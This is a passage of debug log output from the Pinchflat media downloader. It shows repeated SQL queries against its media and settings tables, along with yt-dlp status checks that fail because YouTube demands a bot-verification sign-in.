WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:24.452 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:24.453 [debug] QUERY OK source="media_items" db=0.5ms idle=7.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [14, 15] 20:31:24.453 [debug] QUERY OK source="media_profiles" db=0.5ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:24.454 [debug] QUERY OK source="media_items" db=0.5ms idle=1.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [15] 20:31:24.456 [debug] QUERY OK source="media_metadata" db=0.1ms idle=3.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [15] 20:31:24.456 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:24.457 [debug] QUERY OK source="settings" db=0.4ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.457 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.458 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:24.459 [debug] QUERY OK source="settings" db=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.459 [debug] QUERY OK source="settings" db=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.459 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.460 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bOvvTG0y990 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/20/2d/202d7026ab034389a075f093f31b4932c9b4bba51f9efbf6c2d025477eb40f13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:24.848 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-RmE8zBhrR0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/f3/1df3d411bb9333e528a37d4c44463e3c711d7471c80974612784c1ba2878b134.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] -RmE8zBhrR0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:24.848 [error] yt-dlp download error for media item #14: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] -RmE8zBhrR0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:24.848 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] -RmE8zBhrR0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:24.849 [info] {"args":{"id":14},"id":212,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1934564,"event":"job:stop","attempt":1,"queue_time":11913129,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:24.852 [debug] QUERY OK source="tasks" db=1.1ms queue=0.1ms idle=391.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:24.852 [debug] QUERY OK source="media_items" db=0.3ms idle=392.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [15] 20:31:24.856 [info] {"args":{"id":16},"id":214,"meta":{},"system_time":1774150284855866111,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:24.857 [debug] QUERY OK source="media_items" db=0.4ms queue=0.5ms idle=40.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [16] 20:31:24.857 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:24.858 [debug] QUERY OK source="tasks" db=2.0ms idle=6.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:24.858 [debug] QUERY OK source="sources" db=1.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:24.861 [debug] QUERY OK source="media_items" db=2.2ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [15, 16] 20:31:24.864 [debug] QUERY OK source="media_profiles" db=3.4ms queue=0.6ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:24.865 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16] 20:31:24.867 [debug] QUERY OK source="media_metadata" db=0.3ms idle=8.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [16] 20:31:24.867 [debug] QUERY OK source="media_profiles" db=0.4ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:24.868 [debug] QUERY OK source="settings" db=0.7ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.869 [debug] QUERY OK source="settings" db=0.4ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.870 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:24.871 [debug] QUERY OK source="settings" db=0.2ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.871 [debug] QUERY OK source="settings" db=0.5ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.873 [debug] QUERY OK source="settings" db=1.3ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:24.873 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=znw_6AMFMDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a6/02/a6028064c5e51044e2f447e1a92f75ddee3aee65cd3cd80afd90120012718644.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:26.385 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bOvvTG0y990 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/20/2d/202d7026ab034389a075f093f31b4932c9b4bba51f9efbf6c2d025477eb40f13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] bOvvTG0y990: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:26.386 [error] yt-dlp download error for media item #15: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] bOvvTG0y990: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:26.386 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] bOvvTG0y990: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:26.387 [info] {"args":{"id":15},"id":213,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1935135,"event":"job:stop","attempt":1,"queue_time":13450146,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:26.389 [debug] QUERY OK source="tasks" db=0.6ms idle=1517.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:26.389 [debug] QUERY OK source="media_items" db=0.4ms idle=1517.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [16] 20:31:26.394 [info] {"args":{"id":17},"id":215,"meta":{},"system_time":1774150286394757360,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:26.395 [debug] QUERY OK source="media_items" db=0.4ms idle=577.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [17] 20:31:26.396 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:26.396 [debug] QUERY OK source="tasks" db=1.1ms idle=7.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:26.397 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [16, 17] 20:31:26.398 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:26.398 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:26.399 [debug] QUERY OK source="media_items" db=0.8ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17] 20:31:26.401 [debug] QUERY OK source="media_metadata" db=0.2ms idle=4.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [17] 20:31:26.401 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:26.402 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.402 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.403 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:26.404 [debug] QUERY OK source="settings" db=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.404 [debug] QUERY OK source="settings" db=0.4ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:26.405 [debug] QUERY OK source="settings" db=0.4ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 